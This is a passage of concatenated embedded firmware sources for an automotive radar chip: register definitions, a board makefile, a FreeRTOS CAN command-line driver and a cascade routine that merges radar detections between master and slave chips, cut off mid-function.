.chn_status_address = dw_dmac_chn_status_address,
.chn_control = dw_dmac_chn_control,
.chn_ll_pointer = dw_dmac_chn_linklist_pointer,
.chn_address = dw_dmac_chn_address
};
int32_t dw_dmac_install_ops(dw_dmac_t *dev_dmac)
{
int32_t result = E_OK;
if ((NULL == dev_dmac)) {
result = E_PAR;
} else {
dev_dmac->ops = (void *)&dmac_ops;
}
return result;
}
<file_sep>#ifndef _ALPS_DMU_REG_H_
#define _ALPS_DMU_REG_H_
#define REG_DMU_CMD_SRC_SEL_OFFSET (0x0000)
#define REG_DMU_CMD_OUT_OFFSET (0x0004)
#define REG_DMU_CMD_IN_OFFSET (0x0008)
#define REG_DMU_ADC_RSTN_OFFSET (0x000C)
#define REG_DMU_ADC_CNT_OFFSET (0x0010)
#define REG_DMU_FMCW_START_SRC (0x0014)
#define REG_DMU_FMCW_START (0x0018)
#define REG_DMU_FMCW_STATUS (0x001C)
#define REG_DMU_DBG_SRC_OFFSET (0x0100)
#define REG_DMU_DBG_VAL_OEN_OFFSET (0x0104)
#define REG_DMU_DBG_DAT_OEN_OFFSET (0x0108)
#define REG_DMU_DBG_DOUT_OFFSET (0x010C)
#define REG_DMU_DBG_DIN_OFFSET (0x0110)
#define REG_DMU_HIL_ENA_OFFSET (0x0114)
#define REG_DMU_HIL_DAT_OFFSET (0x0118)
/* IO MUX registers. */
#define REG_DMU_MUX_QSPI_OFFSET (0x0200)
#define REG_DMU_MUX_SPI_M1_OFFSET (0x0204)
#define REG_DMU_MUX_UART0_OFFSET (0x0208)
#define REG_DMU_MUX_UART1_OFFSET (0x020C)
#define REG_DMU_MUX_CAN0_OFFSET (0x0210)
#define REG_DMU_MUX_CAN1_OFFSET (0x0214)
#define REG_DMU_MUX_RESET_OFFSET (0x0218)
#define REG_DMU_MUX_SYNC_OFFSET (0x021C)
#define REG_DMU_MUX_I2C_OFFSET (0x0220)
#define REG_DMU_MUX_PWM0_OFFSET (0x0224)
#define REG_DMU_MUX_PWM1_OFFSET (0x0228)
#define REG_DMU_MUX_ADC_CLK_OFFSET (0x022C)
#define REG_DMU_MUX_CAN_CLK_OFFSET (0x0230)
#define REG_DMU_MUX_SPI_M0_OFFSET (0x0234)
#define REG_DMU_MUX_SPI_S_OFFSET (0x0238)
#define REG_DMU_MUX_SPI_S1_CLK_OFFSET (0x023C)
#define REG_DMU_MUX_SPI_S1_SEL_OFFSET (0x0240)
#define REG_DMU_MUX_SPI_S1_MOSI_OFFSET (0x0244)
#define REG_DMU_MUX_SPI_S1_MISO_OFFSET (0x0248)
#define REG_DMU_MUX_JTAG_OFFSET (0x024C)
/* system. */
#define REG_DMU_SYS_DMA_ENDIAN_OFFSET (0x0300)
#define REG_DMU_SYS_SHSEL_NP_OFFSET (0x0304)
#define REG_DMU_SYS_DMU_SEL_OFFSET (0x0308)
#define REG_DMU_SYS_ICM0_FIX_P_OFFSET (0x030C)
#define REG_DMU_SYS_ICM1_FIX_P_OFFSET (0x0310)
#define REG_DMU_SYS_PWM0_ENA_OFFSET (0x0314)
#define REG_DMU_SYS_MEMRUN_ENA_OFFSET (0x0318)
#define REG_DMU_SYS_MEMINI_ENA_OFFSET (0x031C)
#define REG_DMU_SYS_SPI_LOOP_OFFSET (0x0320)
#define REG_DMU_SYS_OTP_PRGM_EN_OFFSET (0x0324)
#define REG_DMU_SYS_OTP_ECC_EN_OFFSET (0x0328)
#define REG_DMU_SYS_MEM_CLR_OFFSET (0x032C)
#define REG_DMU_SYS_MEM_CLR_DONE_OFFSET (0x0330)
//#define REG_DMU_SYS_PWM1_ENA_OFFSET (45 << 2)
//#define REG_DMU_SYS_DMA_REQ_S_OFFSET (0x0304)
//#define REG_DMU_SYS_SHSEL_NP_OFFSET (40 << 2)
#define REG_DMU_IRQ_TRIG_OFFSET (0x0400)
#define REG_DMU_IRQ_STA_OFFSET (0x0404)
#define REG_DMU_IRQ_ENA0_31_OFFSET (0x0500)
#define REG_DMU_IRQ_ENA32_63_OFFSET (0x0504)
#define REG_DMU_IRQ_ENA64_95_OFFSET (0x0508)
#define REG_DMU_IRQ_ENA96_127_OFFSET (0x050C)
#define REG_DMU_IRQ25_SEL_OFFSET (0x0510)
#define REG_DMU_IRQ26_SEL_OFFSET (0x0514)
#define REG_DMU_IRQ27_SEL_OFFSET (0x0518)
#define REG_DMU_IRQ28_SEL_OFFSET (0x051C)
#define REG_DMU_IRQ29_SEL_OFFSET (0x0520)
#define REG_DMU_IRQ30_SEL_OFFSET (0x0524)
#define REG_DMU_IRQ31_SEL_OFFSET (0x0528)
/* cmd out bits fields define. */
#define BIT_REG_DMU_CMD_WR (1 << 15)
#define BITS_REG_DMU_CMD_ADDR_MASK (0x7F)
#define BITS_REG_DMU_CMD_ADDR_SHIFT (8)
#define BITS_REG_DMU_CMD_WR_DAT_MASK (0xFF)
#define BITS_REG_DMU_CMD_WR_DAT_SHIFT (0)
/* dmu select. */
#define SYS_DMU_SEL_DBG (1)
#define SYS_DMU_SEL_GPIO (0)
/* for debug bus. */
#define DBGBUS_OUTPUT_ENABLE 0
#define DBGBUS_OUTPUT_DISABLE 1
#define DBGBUS_DAT_ENABLE 0xffff0000
#define DBGBUS_DAT_DISABLE 0xffffffff
#define DBG_SRC_CPU 0
#define DBG_SRC_SAM 1
#define DBG_SRC_CFR 2
#define DBG_SRC_BFM 3
#define DBG_SRC_DUMP_W_SYNC 4
#define DBG_SRC_DUMP_WO_SYNC 5
#define DBGBUS_DAT_RESET 0x00000000
#define DBGBUS_DAT_0_OEN 0xfffffffe
#define DBGBUS_DAT_1_OEN 0xfffffffd
#define DBGBUS_DAT_2_OEN 0xfffffffb
#define DBGBUS_DAT_3_OEN 0xfffffff7
#define DBGBUS_DAT_4_OEN 0xffffffef
#define DBGBUS_DAT_5_OEN 0xffffffdf
#define DBGBUS_DAT_6_OEN 0xffffffbf
#define DBGBUS_DAT_7_OEN 0xffffff7f
#define DBGBUS_DAT_8_OEN 0xfffffeff
#define DBGBUS_DAT_9_OEN 0xfffffdff
#define DBGBUS_DAT_10_OEN 0xfffffbff
#define DBGBUS_DAT_11_OEN 0xfffff7ff
#define DBGBUS_DAT_12_OEN 0xffffefff
#define DBGBUS_DAT_13_OEN 0xffffdfff
#define DBGBUS_DAT_14_OEN 0xffffbfff
#define DBGBUS_DAT_15_OEN 0xffff7fff
#define DBGBUS_DAT_16_OEN 0xfffeffff
#define DBGBUS_DAT_17_OEN 0xfffdffff
#define DBGBUS_DAT_18_OEN 0xfffbffff
#define DBGBUS_DAT_19_OEN 0xfff7ffff
#define DBGBUS_DAT_20_OEN 0xffefffff
#define DBGBUS_DAT_21_OEN 0xffdfffff
#define DBGBUS_DAT_22_OEN 0xffbfffff
#define DBGBUS_DAT_23_OEN 0xff7fffff
#define DBGBUS_DAT_24_OEN 0xfeffffff
#define DBGBUS_DAT_25_OEN 0xfdffffff
#define DBGBUS_DAT_26_OEN 0xfbffffff
#define DBGBUS_DAT_27_OEN 0xf7ffffff
#define DBGBUS_DAT_28_OEN 0xefffffff
#define DBGBUS_DAT_29_OEN 0xdfffffff
#define DBGBUS_DAT_30_OEN 0xbfffffff
#define DBGBUS_DAT_31_OEN 0x7fffffff
#define DBGBUS_DAT_0_MASK 0x00000001
#define DBGBUS_DAT_1_MASK 0x00000002
#define DBGBUS_DAT_2_MASK 0x00000004
#define DBGBUS_DAT_3_MASK 0x00000008
#define DBGBUS_DAT_4_MASK 0x00000010
#define DBGBUS_DAT_5_MASK 0x00000020
#define DBGBUS_DAT_6_MASK 0x00000040
#define DBGBUS_DAT_7_MASK 0x00000080
#define DBGBUS_DAT_8_MASK 0x00000100
#define DBGBUS_DAT_9_MASK 0x00000200
#define DBGBUS_DAT_10_MASK 0x00000400
#define DBGBUS_DAT_11_MASK 0x00000800
#define DBGBUS_DAT_12_MASK 0x00001000
#define DBGBUS_DAT_13_MASK 0x00002000
#define DBGBUS_DAT_14_MASK 0x00004000
#define DBGBUS_DAT_15_MASK 0x00008000
#define DBGBUS_DAT_16_MASK 0x00010000
#define DBGBUS_DAT_17_MASK 0x00020000
#define DBGBUS_DAT_18_MASK 0x00040000
#define DBGBUS_DAT_19_MASK 0x00080000
#define DBGBUS_DAT_20_MASK 0x00100000
#define DBGBUS_DAT_21_MASK 0x00200000
#define DBGBUS_DAT_22_MASK 0x00400000
#define DBGBUS_DAT_23_MASK 0x00800000
#define DBGBUS_DAT_24_MASK 0x01000000
#define DBGBUS_DAT_25_MASK 0x02000000
#define DBGBUS_DAT_26_MASK 0x04000000
#define DBGBUS_DAT_27_MASK 0x08000000
#define DBGBUS_DAT_28_MASK 0x10000000
#define DBGBUS_DAT_29_MASK 0x20000000
#define DBGBUS_DAT_30_MASK 0x40000000
#define DBGBUS_DAT_31_MASK 0x80000000
#endif
<file_sep>REF_DESIGN_ROOT = $(BOARDS_ROOT)/ref_cascade
SUPPORTED_BOARD_VERS = 1
## Select Chip Version
BD_VER ?= 1
override BD_VER := $(strip $(BD_VER))
## Set Valid Board
VALID_BD_VER = $(call check_item_exist, $(BD_VER), $(SUPPORTED_BOARD_VERS))
## Try Check CHIP is valid
ifeq ($(VALID_BD_VER), )
$(info BOARD_VER - $(SUPPORTED_BOARD_VERS) are supported)
$(error BOARD_VER $(BD_VER) is not supported, please check it!)
endif
# link file
ifeq ($(VALID_TOOLCHAIN), mw)
LINKER_SCRIPT_FILE ?= $(REF_DESIGN_ROOT)/linker_template_mw.ld
else
LINKER_SCRIPT_FILE ?= $(REF_DESIGN_ROOT)/linker_template_gnu.ld
endif
#alps.cfg is for RDP board
OPENOCD_CFG_FILE = $(OPENOCD_SCRIPT_ROOT)/board/alps.cfg
#snps_em_sk_v2.2.cfg is for validation board using GNU
#OPENOCD_CFG_FILE = $(OPENOCD_SCRIPT_ROOT)/board/snps_em_sk_v2.2.cfg
CHIP_CASCADE = 1
CASCADE_DMA_EN ?=
# UART setting
USE_UART0 ?= 1
CHIP_CONSOLE_UART_BAUD ?= 3000000
#UART0_IO_POS ?= 0
USE_UART1 ?= 0
#UART1_IO_POS ?= 1
#SPI setting
USE_SPI0 ?= 0
USE_SPI1 ?= 0
USE_SPI2 ?= 0
#qspi setting
USE_QSPI ?= 1
#CAN setting
USE_CAN0 ?= 0
USE_CAN1 ?= 0
USE_CAN_FD ?= 0
USE_SW_TRACE ?= 1
SW_TRACE_BASE ?= 0xa00000
SW_TRACE_LEN ?= 0x8000
#AHB DMA
USE_AHB_DMA ?= 1
BOARD_DEFINES += -DUSE_DW_AHB_DMA=$(USE_AHB_DMA)
BOARD_DEFINES += -DUSE_DW_UART_0=$(USE_UART0) -DUSE_DW_UART_1=$(USE_UART1) -DCHIP_CONSOLE_UART_BAUD=$(CHIP_CONSOLE_UART_BAUD)
BOARD_DEFINES += -DUART0_IO_POS=$(UART0_IO_POS) -DUART1_IO_POS=$(UART1_IO_POS)
BOARD_DEFINES += -DUSE_DW_SPI_0=$(USE_SPI0) -DUSE_DW_SPI_1=$(USE_SPI1) -DUSE_DW_SPI_2=$(USE_SPI2)
BOARD_DEFINES += -DUSE_DW_QSPI=$(USE_QSPI) -DFLASH_XIP_EN=$(FLASH_XIP)
BOARD_DEFINES += -DUSE_CAN_0=$(USE_CAN0) -DUSE_CAN_1=$(USE_CAN1) -DUSE_CAN_FD=$(USE_CAN_FD)
BOARD_DEFINES += -DUSE_IO_STREAM=$(USE_IO_STREAM) -DIO_STREAM_PRINTF=$(USE_IO_STREAM_PRINTF)
BOARD_DEFINES += -DCHIP_CASCADE
BOARD_DEFINES += -DPLL_CLOCK_OPEN_EN=$(PLL_CLOCK_OPEN)
BOARD_DEFINES += -DCONSOLE_PRINTF
BOARD_DEFINES += -DSYSTEM_$(SYSTEM_BOOT_STAGE)_STAGES_BOOT
BOARD_DEFINES += -D__FIRMWARE__
ifneq ($(CASCADE_DMA_EN),)
BOARD_DEFINES += -DCASCADE_DMA
endif
ifneq ($(USE_SW_TRACE),)
BOARD_DEFINES += -DUSE_SW_TRACE -DSW_TRACE_BASE=$(SW_TRACE_BASE) -DSW_TRACE_LEN=$(SW_TRACE_LEN)
endif
ifneq ($(UART_OTA),)
BOARD_DEFINES += -DSYSTEM_UART_OTA
endif
ifneq ($(SYSTEM_WATCHDOG),)
BOARD_DEFINES += -DSYSTEM_WATCHDOG
endif
ifneq ($(FLASH_STATIC_PARAM), )
BOARD_DEFINES += -DSTATIC_EXT_FLASH_PARAM
endif
<file_sep>#ifndef _CONSOLE_H_
#define _CONSOLE_H_
void console_init(void);
void bprintf(uint32_t *data, uint32_t len, void (*tx_end_callback)(void));
//int32_t pre_printf(void);
//void post_printf(int32_t buf_id);
uint32_t console_wait_newline(uint8_t *data, uint32_t wbuf_len);
void console_putchar(unsigned char chr);
#endif
<file_sep>#include <string.h>
#include "embARC_toolchain.h"
#include "FreeRTOS.h"
#include "task.h"
#include "embARC.h"
#include "embARC_debug.h"
#include "can_hal.h"
#include "can_cli.h"
#include "gpio_hal.h"
#include "baseband.h"
#include "dev_can.h"
/* TODO: move to can transciever driver in future. */
#define CAN_TRANS_EN_IO (22)
#define CAN_TRANS_SB_IO (23)
#define CAN_CLI_ITEM_CNT_MAX (32)
#define CAN_CLI_RX_BUFFER_LEN (64)
typedef enum {
CAN_CLI_ITEM_IDLE = 0,
CAN_CLI_ITEM_BUSY
} can_cli_item_state_t;
typedef struct can_cli_item {
uint32_t lock;
uint32_t msg_id;
can_cli_callback callback;
} can_cli_item_t;
static uint8_t rx_msg_fill_top = 0;
static uint8_t rx_msg_pop_top = 0;
static can_frame_params_t rx_frame_params_buffer[CAN_CLI_RX_BUFFER_LEN];
static can_data_message_t rx_msg_buffer[CAN_CLI_RX_BUFFER_LEN];
static can_cli_item_t can_cli_cmd_list[CAN_CLI_ITEM_CNT_MAX];
static TaskHandle_t can_cli_task_handle = NULL;
#ifdef OS_FREERTOS
/* Task Communication */
QueueHandle_t queue_can_isr;
#endif
static int32_t can_cli_buffer_alloc(void);
static int32_t can_cli_buffer_ready(void);
static void can_cli_buffer_free(can_data_message_t *rx_msg);
static void can_cli_handle(void *params);
static void can_cli_rx_indication(uint32_t msg_id, uint32_t ide, uint32_t *data, uint32_t len);
static void can_transceiver_init(void)
{
/* Setup CAN transceiver */
gpio_set_direct(CAN_TRANS_EN_IO, 1);
gpio_set_direct(CAN_TRANS_SB_IO, 1);
gpio_write(CAN_TRANS_EN_IO, 1);
gpio_write(CAN_TRANS_SB_IO, 1);
}
int32_t can_cli_init(void)
{
int32_t result = E_OK;
#if (USE_CAN_FD == 1)
result = can_init(0, CAN_BAUDRATE_500KBPS, CAN_BAUDRATE_1MBPS);
#else
result = can_init(0, CAN_BAUDRATE_500KBPS, 0);
#endif
if (E_OK != result) {
EMBARC_PRINTF("CAN init failed.\r\n");
} else {
can_transceiver_init();
/* Enable the RX interrupt */
can_interrupt_enable(0, 0, 1);
/* Enable the error interrupt */
can_interrupt_enable(0, 3, 1);
#ifdef OS_FREERTOS
/* Creat a queue of the CAN ISR */
queue_can_isr = xQueueCreate(CAN_ISR_QUEUE_LENGTH, sizeof(uint32_t));
#endif
if (pdPASS != xTaskCreate(can_cli_handle, \
"can_cli_task", \
256, \
(void *)1, \
(configMAX_PRIORITIES - 1), \
&can_cli_task_handle)) {
EMBARC_PRINTF("create can_cli task error\r\n");
}
result = can_indication_register(0, can_cli_rx_indication);
if (E_OK != result) {
EMBARC_PRINTF("indication register failed\r\n");
}
}
for(uint32_t i = 0; i < CAN_CLI_RX_BUFFER_LEN; i++)
rx_msg_buffer[i].frame_params = &rx_frame_params_buffer[i];
return result;
}
int32_t can_cli_register(uint32_t msg_id, can_cli_callback func)
{
int32_t result = E_OK;
can_cli_item_t *item = NULL;
uint32_t idx = 0;
for (; idx < CAN_CLI_ITEM_CNT_MAX; idx++) {
if (raw_spin_trylock(&can_cli_cmd_list[idx].lock)) {
item = &can_cli_cmd_list[idx];
break;
}
}
if (NULL != item) {
item->msg_id = msg_id;
item->callback = func;
} else {
result = E_BOVR;
}
return result;
}
static void can_cli_rx_indication(uint32_t msg_id, uint32_t ide, uint32_t *data, uint32_t len)
{
can_data_message_t *rx_msg = NULL;
int32_t idx = can_cli_buffer_alloc();
if ((idx >= 0)) {
rx_msg = &rx_msg_buffer[idx];
}
if (NULL != rx_msg) {
rx_msg->frame_params->eframe_format = ide;
rx_msg->frame_params->len = (uint8_t)len;
if (rx_msg->frame_params->eframe_format == eEXTENDED_FRAME) {
rx_msg->frame_params->msg_id = msg_id;
} else {
rx_msg->frame_params->msg_id = msg_id >> 18;
}
transfer_bytes_stream(data, rx_msg->data, len);
} else {
/* buffer overflow: ignore the message. */
}
}
static void can_cli_handle(void *params)
{
can_data_message_t *rx_msg = NULL;
can_cli_item_t *item = NULL;
#ifdef OS_FREERTOS
uint32_t msg = 0;
#endif
while (1) {
#ifdef OS_FREERTOS
/* wait queue */
if (xQueueReceive(queue_can_isr, &msg, portMAX_DELAY) == pdTRUE) {
#endif
/* get message. */
int32_t idx = can_cli_buffer_ready();
if (idx >= 0) {
rx_msg = &rx_msg_buffer[idx];
} else {
rx_msg = NULL;
}
if (NULL != rx_msg) {
item = NULL;
for (idx = 0; idx < CAN_CLI_ITEM_CNT_MAX; idx++) {
if (rx_msg->frame_params->msg_id == can_cli_cmd_list[idx].msg_id) {
item = &can_cli_cmd_list[idx];
break;
}
}
if (NULL != item) {
if (item->callback) {
item->callback(rx_msg->data, rx_msg->frame_params->len);
}
} else {
EMBARC_PRINTF("msg_id : 0x%x is not registered.\r\n", \
rx_msg->frame_params->msg_id);
}
can_cli_buffer_free(rx_msg);
} else {
taskYIELD();
}
#ifdef OS_FREERTOS
}
#endif
}
}
static int32_t can_cli_buffer_alloc(void)
{
int32_t result = E_OK;
if (rx_msg_fill_top >= CAN_CLI_RX_BUFFER_LEN) {
rx_msg_fill_top = 0;
}
uint32_t cpu_status = arc_lock_save();
if (rx_msg_buffer[rx_msg_fill_top].lock) {
result = E_BOVR;
} else {
rx_msg_buffer[rx_msg_fill_top].lock = 1;
result = rx_msg_fill_top++;
}
arc_unlock_restore(cpu_status);
return result;
}
static int32_t can_cli_buffer_ready(void)
{
int32_t result = -1;
if (rx_msg_pop_top >= CAN_CLI_RX_BUFFER_LEN) {
rx_msg_pop_top = 0;
}
if (rx_msg_buffer[rx_msg_pop_top].lock) {
result = rx_msg_pop_top++;
}
return result;
}
static void can_cli_buffer_free(can_data_message_t *rx_msg)
{
if (rx_msg) {
rx_msg->lock = 0;
}
}
<file_sep>#include <string.h>
#include "baseband_hw.h"
#include "baseband_cli.h"
#include "baseband_cas.h"
#include "sensor_config.h"
#include "FreeRTOS.h"
#include <stdlib.h>
#include <math.h>
#ifdef CHIP_CASCADE
extern QueueHandle_t queue_spi_cmd;
static int32_t baseband_merge_cfar(baseband_hw_t *bb_hw, uint8_t ant_chl_num, uint16_t mst_obj_num, uint16_t *slv_obj_num, uint16_t *rx_obj_num, uint32_t *mem_mac_offset, uint32_t *merge_num, cfr_info_t *cfr_info, volatile obj_info_t *obj_info)
{
int32_t result = E_OK;
uint32_t rx_buf_offset = 0;
sensor_config_t* cfg = (sensor_config_t*)CONTAINER_OF(bb_hw, baseband_t, bb_hw)->cfg;
if (E_OK == cascade_read_buf_req(WAIT_TICK_NUM)) { /* wait 30ms */
/* get slave object info */
uint32_t buf_data = cascade_read_buf(BUF_SHIFT_INFO); /* read cfar info of slave chip */
*slv_obj_num = REG_H16(buf_data);
*rx_obj_num = REG_L16(buf_data); // transmitted object number of slave
/* merge */
for (uint16_t i = 0; i < *rx_obj_num; i++) {
/* read slave: range, doppler */
rx_buf_offset = BUF_SIZE_INFO + i * (ant_chl_num + BUF_SIZE_CAFR);
uint32_t slv_rng_vel = cascade_read_buf(rx_buf_offset++);
uint32_t slv_amb_noi = cascade_read_buf(rx_buf_offset++);
//EMBARC_PRINTF("slv_rng_vel = %u\n", slv_rng_vel);
//EMBARC_PRINTF("slv_amb_noi = %u\n", slv_amb_noi);
uint32_t slv_rng_idx = (slv_rng_vel >> 18) & 0x3FF; // Extract slave rng_idx
uint32_t slv_vel_idx = (slv_rng_vel >> 4) & 0x3FF; // Extract slave vel_idx
/* About cascade master and slave object infos merge type:
* determined by cfg->cas_obj_merg_typ:
* 0 : merge condition is diff between mst and slv obj's (r,v) is 0
* 1 : merge condition is diff between mst and slv obj's (r,v) is 0 or 1
* 2 : merge condition is based on slv obj's (r,v)
* */
if (cfg->cas_obj_merg_typ != 2) { // if not slave based merge
/* search master obj_info to pair slave obj_info */
for (uint16_t j = 0; j < mst_obj_num; j++) { // FIXME: To optimize
baseband_switch_mem_access(bb_hw, SYS_MEM_ACT_RLT);
uint32_t mst_rng_idx = obj_info[j].rng_idx;
uint32_t mst_vel_idx = obj_info[j].vel_idx;
uint8_t merge_thres = 0;
if (cfg->cas_obj_merg_typ == 0) {// if and merge
merge_thres = 0;
//EMBARC_PRINTF("MERGE_TYPE == AND_MERGE\n");
} else if (cfg->cas_obj_merg_typ == 1) { // if loose and merge
merge_thres = 1;
//EMBARC_PRINTF("MERGE_TYPE == LOOSE_AND_MERGE\n");
}
if( (abs(mst_rng_idx-slv_rng_idx) <= merge_thres) &&
(abs(mst_vel_idx-slv_vel_idx) <= merge_thres) ) {
// Store the paired master obj_info
cfr_info[*merge_num].rng_acc = obj_info[j].rng_acc;
cfr_info[*merge_num].rng_idx = obj_info[j].rng_idx;
cfr_info[*merge_num].vel_acc = obj_info[j].vel_acc;
cfr_info[*merge_num].vel_idx = obj_info[j].vel_idx;
cfr_info[*merge_num].amb_idx = obj_info[j].amb_idx;
cfr_info[*merge_num].noi = obj_info[j].noi;
(*merge_num)++;
// Store slave obj FFT peaks in MEM_MAC
baseband_switch_mem_access(bb_hw, SYS_MEM_ACT_MAC);
for (uint8_t chl_index = 0; chl_index < ant_chl_num; chl_index++) {
uint32_t fft2d_data = cascade_read_buf(rx_buf_offset++);
//EMBARC_PRINTF("fft2d_data = %u\n", fft2d_data);
baseband_write_mem_table(bb_hw, *mem_mac_offset, fft2d_data);
(*mem_mac_offset)++;
}
}
}
} else { // if slave based merge
//EMBARC_PRINTF("MERGE_TYPE == SLAVE_BASE_MERGE\n");
// Store the slave obj_info
cfr_info[*merge_num].rng_acc = (slv_rng_vel >> 14) & 0xF; // Extract slave rng_acc
cfr_info[*merge_num].rng_idx = slv_rng_idx;
cfr_info[*merge_num].vel_acc = slv_rng_vel & 0xF; // Extract slave vel_acc
cfr_info[*merge_num].vel_idx = slv_vel_idx;
cfr_info[*merge_num].amb_idx = (slv_amb_noi >> 20) & 0x1F; // Extract slave amb_idx
cfr_info[*merge_num].noi = slv_amb_noi & 0xFFFFF; // Extract slave noi
(*merge_num)++;
// Store slave obj FFT peaks in MEM_MAC
baseband_switch_mem_access(bb_hw, SYS_MEM_ACT_MAC);
for (uint8_t chl_index = 0; chl_index < ant_chl_num; chl_index++) {
uint32_t fft2d_data = cascade_read_buf(rx_buf_offset++);
//EMBARC_PRINTF("fft2d_data = %u\n", fft2d_data);
baseband_write_mem_table(bb_hw, *mem_mac_offset, fft2d_data);
(*mem_mac_offset)++;
}
}
}/* end for */
cascade_read_buf_done(); /* release rx buffer */
} else {
result = E_SYS;
EMBARC_PRINTF("!!! merge timeout ~~~~~~~~~~~~~~~\n");
}/* endif E_OK */
return result;
}
static void baseband_write_cfar(baseband_hw_t *bb_hw, uint32_t *merge_num, cfr_info_t *cfr_info, volatile obj_info_t *obj_info)
{
/* write merge results to mem */
baseband_switch_mem_access(bb_hw, SYS_MEM_ACT_RLT);
for (uint16_t i = 0; i < *merge_num; i++) {
obj_info[i].rng_acc = cfr_info[i].rng_acc;
obj_info[i].rng_idx = cfr_info[i].rng_idx;
obj_info[i].vel_acc = cfr_info[i].vel_acc;
obj_info[i].vel_idx = cfr_info[i].vel_idx;
// amb and noi should reordered due to bug 764
uint32_t * p_tmp = (uint32_t *)(&(obj_info[i]));
*(p_tmp + NOI_AMB_OFFSET) = (cfr_info[i].noi << NOI_AMB_REODER) | cfr_info[i].amb_idx;
}
BB_WRITE_REG(bb_hw, DOA_NUMB_OBJ, *merge_num);
}
static void baseband_write_cascade_info(baseband_hw_t *bb_hw, uint16_t slv_obj_num, uint16_t tx_obj_num)
{
uint32_t slv_info = SHIFT_L16(slv_obj_num) | tx_obj_num;
cascade_write_buf(slv_info); /* write cfar info of slave chip */
}
static void baseband_write_cascade_data(baseband_hw_t *bb_hw, uint16_t obj_index, uint8_t nvarray)
{
sensor_config_t* cfg = (sensor_config_t*)CONTAINER_OF(bb_hw, baseband_t, bb_hw)->cfg;
uint32_t old = baseband_switch_mem_access(bb_hw, SYS_MEM_ACT_RLT);
/* get slave object info */
uint32_t mem_rlt_offset = 0;
/* get cfar result address */
if ((BB_READ_REG(bb_hw, CFR_SIZE_OBJ)) < SYS_SIZE_OBJ_BNK) { /* mem_rlt will be splited to 4 banks when cfar size less than 256 */
uint8_t bnk_idx = baseband_get_cur_frame_type();
mem_rlt_offset = bnk_idx * (1 << SYS_SIZE_OBJ_WD_BNK) * RESULT_SIZE;
}
volatile obj_info_t *obj_info = (volatile obj_info_t *)(BB_MEM_BASEADDR + mem_rlt_offset);
/* range and doppler index */
uint16_t hw_rng_idx = obj_info[obj_index].rng_idx;
uint16_t hw_vel_idx = obj_info[obj_index].vel_idx;
/*
uint32_t hw_rng_vel = SHIFT_L16(hw_rng_idx) | hw_vel_idx;
cascade_write_buf(hw_rng_vel);
*/
uint32_t * obj_info_word = (uint32_t *)(&(obj_info[obj_index]));
uint32_t slv_rng_vel = *obj_info_word;
uint32_t slv_amb_noi = *(obj_info_word + 1);
//EMBARC_PRINTF("slv_rng_vel = %u\n", slv_rng_vel);
//EMBARC_PRINTF("slv_amb_noi = %u\n", slv_amb_noi);
cascade_write_buf(slv_rng_vel); // Transfer rng_idx, rng_acc, vel_idx, vel_acc
cascade_write_buf(slv_amb_noi); // Transfer amb_idx(not ready after cfar), Noi(useful in DoA)
/* fft2d */
baseband_switch_mem_access(bb_hw, SYS_MEM_ACT_BUF);
uint8_t ch_index;
uint8_t bpm_index = 0;
uint8_t bpm_offset = cfg->anti_velamb_en ? 1 : 0;
for (bpm_index = bpm_offset; bpm_index < (nvarray + bpm_offset); bpm_index++) {
for (ch_index = 0; ch_index < ANT_NUM; ch_index++) {
uint32_t fft_mem = baseband_hw_get_fft_mem(bb_hw, ch_index, hw_rng_idx, hw_vel_idx, bpm_index);
cascade_write_buf(fft_mem);
//EMBARC_PRINTF("fft_mem = %u\n", fft_mem);
}
}
baseband_switch_mem_access(bb_hw, old);
}
void baseband_write_cascade_ctrl(void)
{
baseband_hw_t *bb_hw = &baseband_get_cur_bb()->bb_hw;
sensor_config_t* cfg = (sensor_config_t*)CONTAINER_OF(bb_hw, baseband_t, bb_hw)->cfg;
uint8_t slv_nvarray = cfg->nvarray; /* fft2d data number of each object */
uint16_t obj_num = BB_READ_REG(bb_hw, CFR_NUMB_OBJ);
if ( obj_num > TRACK_NUM_CDI )
obj_num = TRACK_NUM_CDI;
uint16_t slv_obj_num = obj_num; // total object number of slave
uint16_t tx_obj_num = 0; // transmitted object number of slave
uint16_t obj_idx_offset = 0; // object index offset of cfar result
do {
// tx object number control
obj_idx_offset = obj_idx_offset + tx_obj_num;
if (obj_num > MAX_TX_OBJ_NUM)
tx_obj_num = MAX_TX_OBJ_NUM;
else
tx_obj_num = obj_num;
/* About slave chip data transfer scheme:
*
* 'tx_obj_num = MAX_TX_OBJ_NUM;' is the maximum number of slave object info blocks allowed to transfer
* in one SPI TX process, which depends on SPI buffer size. So if 'slv_obj_num', the total slave object number,
* is greater than MAX_TX_OBJ_NUM, slave info blocks will be split and transfered in several SPI TX processes.
* Variable 'obj_num' is to record the number of remaining slave info blocks to transfer.
*
* An internal protocol guarantees that if transfered data block is not read by master chip, slave chip
* would not start the next SPI TX process.
* Since CFAR output object number is not too large in practical test, this case is not triggered thus not verified.
* */
obj_num = obj_num - tx_obj_num; // record the number of remaining slave obj info blocks to transfer
/*------ Start one SPI TX process by slave chip ------*/
// tx asserted
cascade_write_buf_req();
// In each SPI TX process, the first word consists the total number of slave objs and
// the number of slave objs to transfer in this SPI TX process :
baseband_write_cascade_info(bb_hw, slv_obj_num, tx_obj_num);
for (uint16_t i = 0; i < tx_obj_num; i++) {
uint16_t obj_idx = i + obj_idx_offset; // object index of cfar result
baseband_write_cascade_data(bb_hw, obj_idx, slv_nvarray); /* write k, p, noise */
}
// tx done
cascade_write_buf_done();
/*------ End of one SPI TX process by slave chip------*/
} while (obj_num != 0); // tx loop
}
void baseband_merge_cascade(baseband_t *bb)
{
baseband_hw_t *bb_hw = &bb->bb_hw;
sensor_config_t* cfg = (sensor_config_t*)(bb->cfg);
/* get antenna channel number */
uint8_t ant_chl_num = (cfg->nvarray) * ANT_NUM; /* fft2d data number of each object */
/* get cfar result address */
uint32_t mem_rlt_offset = 0;
if ((BB_READ_REG(bb_hw, CFR_SIZE_OBJ)) < SYS_SIZE_OBJ_BNK) { /* mem_rlt will be splited to 4 banks when cfar size less than 256 */
uint8_t bnk_idx = baseband_get_cur_frame_type();
mem_rlt_offset = bnk_idx * (1 << SYS_SIZE_OBJ_WD_BNK) * RESULT_SIZE;
}
volatile obj_info_t *obj_info = (volatile obj_info_t *)(BB_MEM_BASEADDR + mem_rlt_offset);
/* get cfar result number */
uint16_t mst_obj_num = BB_READ_REG(bb_hw, CFR_NUMB_OBJ);
if ( mst_obj_num > TRACK_NUM_CDI )
mst_obj_num = TRACK_NUM_CDI;
// merge
cfr_info_t cfr_info[TRACK_NUM_CDI]; // store the cfar merge result
uint16_t slv_obj_num = 0;
